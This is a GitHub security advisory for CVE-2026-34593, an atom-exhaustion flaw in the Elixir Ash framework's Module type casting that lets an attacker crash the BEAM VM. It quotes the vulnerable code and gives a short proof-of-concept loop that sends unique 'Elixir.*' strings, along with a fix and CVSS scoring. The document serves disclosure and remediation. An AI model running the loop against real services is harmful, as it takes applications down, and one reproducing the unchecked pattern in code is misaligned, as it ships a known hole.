Skip to content

Ash.Type.Module.cast_input/2 atom exhaustion via unchecked Module.concat allows BEAM VM crash

High severity GitHub Reviewed Published Mar 29, 2026 in ash-project/ash

Package

erlang ash (Erlang)

Affected versions

<= 3.21.3

Patched versions

3.22.0

Description

Summary

Ash.Type.Module.cast_input/2 unconditionally creates a new Erlang atom via Module.concat([value]) for any user-supplied binary string that starts with "Elixir.", before verifying whether the referenced module exists. Because Erlang atoms are never garbage-collected and the BEAM atom table has a hard default limit of approximately 1,048,576 entries, an attacker who can submit values to any resource attribute or argument of type :module can exhaust this table and crash the entire BEAM VM, taking down the application.

Details

Setup: A resource with a :module-typed attribute exposed to user input, which is a supported and documented usage of the Ash.Type.Module built-in type:

defmodule MyApp.Widget do
  use Ash.Resource, domain: MyApp, data_layer: AshPostgres.DataLayer

  attributes do
    uuid_primary_key :id
    attribute :handler_module, :module, public?: true
  end

  actions do
    defaults [:read, :destroy]
    create :create do
      accept [:handler_module]
    end
  end
end

Vulnerable code in lib/ash/type/module.ex, lines 105-113:

def cast_input("Elixir." <> _ = value, _) do
  module = Module.concat([value])   # <-- Creates new atom unconditionally
  if Code.ensure_loaded?(module) do
    {:ok, module}
  else
    :error                          # <-- Returns error but atom is already created
  end
end

Exploit: Submit repeated Ash.create requests (e.g., via a JSON API endpoint) with unique "Elixir.*" strings:

# Attacker-controlled loop (or HTTP requests to an API endpoint)
for i <- 1..1_100_000 do
  Ash.Changeset.for_create(MyApp.Widget, :create, %{handler_module: "Elixir.Attack#{i}"})
  |> Ash.create()
  # Each iteration: Module.concat(["Elixir.Attack#{i}"]) creates a new atom
  # cast_input returns :error but the atom :"Elixir.Attack#{i}" persists
end
# After ~1,048,576 unique strings: BEAM crashes with system_limit

Contrast: The non-"Elixir." path in the same function correctly uses String.to_existing_atom/1, which is safe because it only looks up atoms that already exist:

def cast_input(value, _) when is_binary(value) do
  atom = String.to_existing_atom(value)   # safe - raises if atom doesn't exist
  ...
end

Additional occurrence: cast_stored/2 at line 141 contains the identical pattern, which is reachable when reading :module-typed values from the database if an attacker can write arbitrary "Elixir.*" strings to the relevant database column.

Impact

An attacker who can submit requests to any API endpoint backed by an Ash resource with a :module-typed attribute or argument can crash the entire BEAM VM process. This is a complete denial of service: all resources served by that VM instance (not just the targeted resource) become unavailable. The crash cannot be prevented once the atom table is full, and recovery requires a full process restart.

Fix direction: Replace Module.concat([value]) with String.to_existing_atom(value) wrapped in a rescue ArgumentError block (as already done in the non-"Elixir." branch), or validate that the atom already exists before calling Module.concat by first attempting String.to_existing_atom and only falling back to Module.concat on success.

References

@zachdaniel zachdaniel published to ash-project/ash Mar 29, 2026
Published to the GitHub Advisory Database Apr 1, 2026
Reviewed Apr 1, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

CVE ID

CVE-2026-34593

GHSA ID

GHSA-jjf9-w5vj-r6vp

Source code

Credits

Dependabot alerts are not supported on some or all of the ecosystems on this advisory.

Learn more about GitHub language support

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.